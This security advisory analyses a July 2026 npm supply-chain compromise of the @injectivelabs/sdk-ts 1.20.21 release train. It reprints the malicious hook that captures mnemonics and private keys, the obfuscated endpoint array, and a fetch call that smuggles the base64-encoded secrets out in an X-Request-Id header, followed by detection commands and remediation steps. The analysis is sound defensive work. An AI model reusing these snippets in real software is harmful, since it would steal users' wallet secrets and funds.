critical

CVE

Not assigned

CWE

CWE-506, CWE-522, CWE-200, CWE-494

Affected Surface

  • `@injectivelabs/sdk-ts@1.20.21`, the only package in the release train that contained the payload directly
  • The 17 companion `@injectivelabs/*@1.20.21` packages that pinned `@injectivelabs/sdk-ts@1.20.21` exactly: `exceptions`, `networks`, `ts-types`, `utils`, `wallet-base`, `wallet-core`, `wallet-cosmos`, `wallet-cosmos-strategy`, `wallet-cosmostation`, `wallet-evm`, `wallet-ledger`, `wallet-magic`, `wallet-private-key`, `wallet-strategy`, `wallet-trezor`, `wallet-turnkey`, and `wallet-wallet-connect`
  • Wallets, DEX frontends, trading bots, DeFi services, and payment applications that called mnemonic or private-key import paths while the compromised tarball was present in a lockfile, cache, or build image
  • Developer workstations and CI jobs that restored the 1.20.21 release train and exposed seed phrases, private keys, or adjacent cloud and registry credentials during application runtime

The freshest npm supply-chain story worth publishing this cycle is not another postinstall stealer. It is a malicious runtime patch hiding inside a trusted wallet SDK release train. On 8 July 2026, a compromised maintainer path pushed @injectivelabs/sdk-ts@1.20.21 plus 17 companion packages to npm. The interesting engineering choice is that the backdoor did not fire during install. It waited until application code called the exact paths that handle the most valuable material in the system: mnemonic phrases and private keys.

That design matters because it puts the theft point on the same hot path real wallets, DEX frontends, trading bots, and payment services already use. It also means traditional “did npm run a lifecycle script?” triage is too narrow for this incident. The package can look quiet at install time and still steal the secrets that actually move funds.

Publicly confirmed affected package set

Only one package in the release train carried the payload directly:

RolePackageMalicious versionWhy it matters
Direct payload@injectivelabs/sdk-ts1.20.21Hooks the key-derivation code paths and performs the secret exfiltration

The rest of the blast radius came from exact pins to that payload:

@injectivelabs/exceptions@1.20.21
@injectivelabs/networks@1.20.21
@injectivelabs/ts-types@1.20.21
@injectivelabs/utils@1.20.21
@injectivelabs/wallet-base@1.20.21
@injectivelabs/wallet-core@1.20.21
@injectivelabs/wallet-cosmos@1.20.21
@injectivelabs/wallet-cosmos-strategy@1.20.21
@injectivelabs/wallet-cosmostation@1.20.21
@injectivelabs/wallet-evm@1.20.21
@injectivelabs/wallet-ledger@1.20.21
@injectivelabs/wallet-magic@1.20.21
@injectivelabs/wallet-private-key@1.20.21
@injectivelabs/wallet-strategy@1.20.21
@injectivelabs/wallet-trezor@1.20.21
@injectivelabs/wallet-turnkey@1.20.21
@injectivelabs/wallet-wallet-connect@1.20.21

StepSecurity’s provenance analysis and the public Injective release tags line up on the same timeline:

2026-07-08 20:24 UTC  malicious telemetry commit lands
2026-07-08 ~21:00 UTC  v1.20.21 tag and npm release train go live
2026-07-08 21:16 UTC  revert commit removes the telemetry
2026-07-08 21:44 UTC  clean 1.20.23 release commit published

The short dwell time does not make the event minor. It makes cache and restore history more important than the package page you see today.

The payload lives on wallet import paths, not in package scripts

The malicious logic was inserted into the SDK’s key-construction methods. Public writeups agree on the same core hook:

import { trackKeyDerivation } from "../../utils/key-derivation-telemetry.js";

static fromMnemonic(words: string, path = DEFAULT_DERIVATION_PATH): PrivateKey {
  trackKeyDerivation("fm", words);
  return new PrivateKey(
    new Wallet(HDNodeWallet.fromPhrase(words, undefined, path).privateKey)
  );
}

static fromHex(privateKey: string | Uint8Array): PrivateKey {
  trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes");
  // normal key construction continues
}

That placement is what makes the compromise operationally serious:

  1. the code runs in normal wallet construction flows
  2. the secrets stolen are sufficient to recreate the wallet
  3. the application still gets a valid PrivateKey object, so the malicious path does not obviously break user workflows

This is a better attacker tradeoff than a noisy installer hook. The victim application does the hard work of supplying the real secret.

The endpoint is disguised as ordinary Injective infrastructure

The exfiltration destination was not stored as a plain string. Public reverse engineering shows a character-code array reconstructed at runtime:

const _e = [
  116, 101, 115, 116, 110, 101, 116, 46, 97, 114, 99, 104, 105, 118, 97, 108,
  46, 99, 104, 97, 105, 110, 46, 103, 114, 112, 99, 45, 119, 101, 98, 46, 105,
  110, 106, 101, 99, 116, 105, 118, 101, 46, 110, 101, 116, 119, 111, 114, 107
];

const endpoint = "https://" + _e.map((x) => String.fromCharCode(x)).join("") + "/";
// https://testnet.archival.chain.grpc-web.injective.network/

That host choice is not accidental. By borrowing an Injective-branded gRPC-Web-looking endpoint, the attacker made the exfiltration look like plausible chain or SDK traffic rather than a blatant off-brand callback.

The secrets ride in an HTTP header, not the request body

StepSecurity’s analysis adds an important runtime detail: the malware did not send every secret immediately. It queued derivation events for a short window, base64-encoded them, and then hid them in a request header:

const queued = [
  "fm:" + mnemonic + ":" + Date.now(),
  "fh:" + privateKeyHex + ":" + Date.now()
];

const payload = Buffer.from(queued.join("|"), "utf8").toString("base64");

await fetch(endpoint, {
  method: "POST",
  headers: {
    "Content-Type": "application/grpc-web+proto",
    "X-Request-Id": payload
  },
  body: ""
});

There are several reasons that matters:

  • the request body stays empty, which can frustrate shallow body inspection
  • X-Request-Id looks like a boring telemetry or tracing header at a glance
  • the application/grpc-web+proto content type visually matches what observers may already expect from the surrounding ecosystem
  • batching lets the attacker harvest multiple key imports in one request

This is runtime camouflage, not cryptographic stealth, but it is good enough to blend into busy wallet traffic if nobody is looking for it.

The compromise was propagated through the monorepo release train

This story is not just one bad tarball. The release commit propagated 1.20.21 across the same package family many teams already trust together:

@injectivelabs/sdk-ts@1.20.21
@injectivelabs/utils@1.20.21 -> pins sdk-ts@1.20.21
@injectivelabs/networks@1.20.21 -> pins sdk-ts@1.20.21
...
wallet-* packages@1.20.21 -> pin sdk-ts@1.20.21

That means responders need to ask two separate questions:

  1. did any build resolve one of the @injectivelabs/*@1.20.21 packages?
  2. if so, did any runtime path actually call fromMnemonic() or fromHex() while handling real wallet material?

Lockfile presence alone proves exposure to the artifact. It does not prove the secret-theft path executed. Runtime logs, traces, and application behavior still matter.

Detection and scoping

Start with package history:

npm ls @injectivelabs/sdk-ts @injectivelabs/utils @injectivelabs/networks \
  @injectivelabs/exceptions @injectivelabs/ts-types \
  @injectivelabs/wallet-base @injectivelabs/wallet-core \
  @injectivelabs/wallet-cosmos @injectivelabs/wallet-cosmos-strategy \
  @injectivelabs/wallet-cosmostation @injectivelabs/wallet-evm \
  @injectivelabs/wallet-ledger @injectivelabs/wallet-magic \
  @injectivelabs/wallet-private-key @injectivelabs/wallet-strategy \
  @injectivelabs/wallet-trezor @injectivelabs/wallet-turnkey \
  @injectivelabs/wallet-wallet-connect --all

rg -n "@injectivelabs/.+1\\.20\\.21|sdk-ts" \
  package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json

Then hunt for the code and network indicators:

rg -n "trackKeyDerivation|key-derivation-telemetry|accounts-Cy0p4lLW|accounts-jQ1GSgaW" \
  node_modules .npm "$HOME"

rg -n "testnet\\.archival\\.chain\\.grpc-web\\.injective\\.network|X-Request-Id|application/grpc-web\\+proto" \
  "$HOME" /tmp /var/tmp .

Operationally, the highest-signal question is whether any host that touched 1.20.21 also handled real seed phrases or raw private keys. If yes, treat those wallet secrets as burned.

Response guidance

If you resolved any of the affected 1.20.21 packages during the live window or from a cache afterward:

  1. upgrade to the clean 1.20.23 train or later
  2. move funds and rotate any mnemonic phrases or private keys that passed through the affected runtime paths
  3. invalidate any cached tarballs, Docker layers, and CI images that may still contain 1.20.21
  4. review outbound traffic for requests to testnet.archival.chain.grpc-web.injective.network carrying unusual X-Request-Id values
  5. rotate adjacent secrets present on the same hosts, including npm tokens, GitHub credentials, and cloud credentials, because build and wallet environments often co-locate them

The important lesson is that this was not a generic installer stealer. It was a surgical patch against the exact SDK functions that touch wallet root secrets. For AppSec teams, that is the real pattern to remember: once an attacker gets a trusted release path, the safest-looking business logic in the dependency graph can become the exfiltration point.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References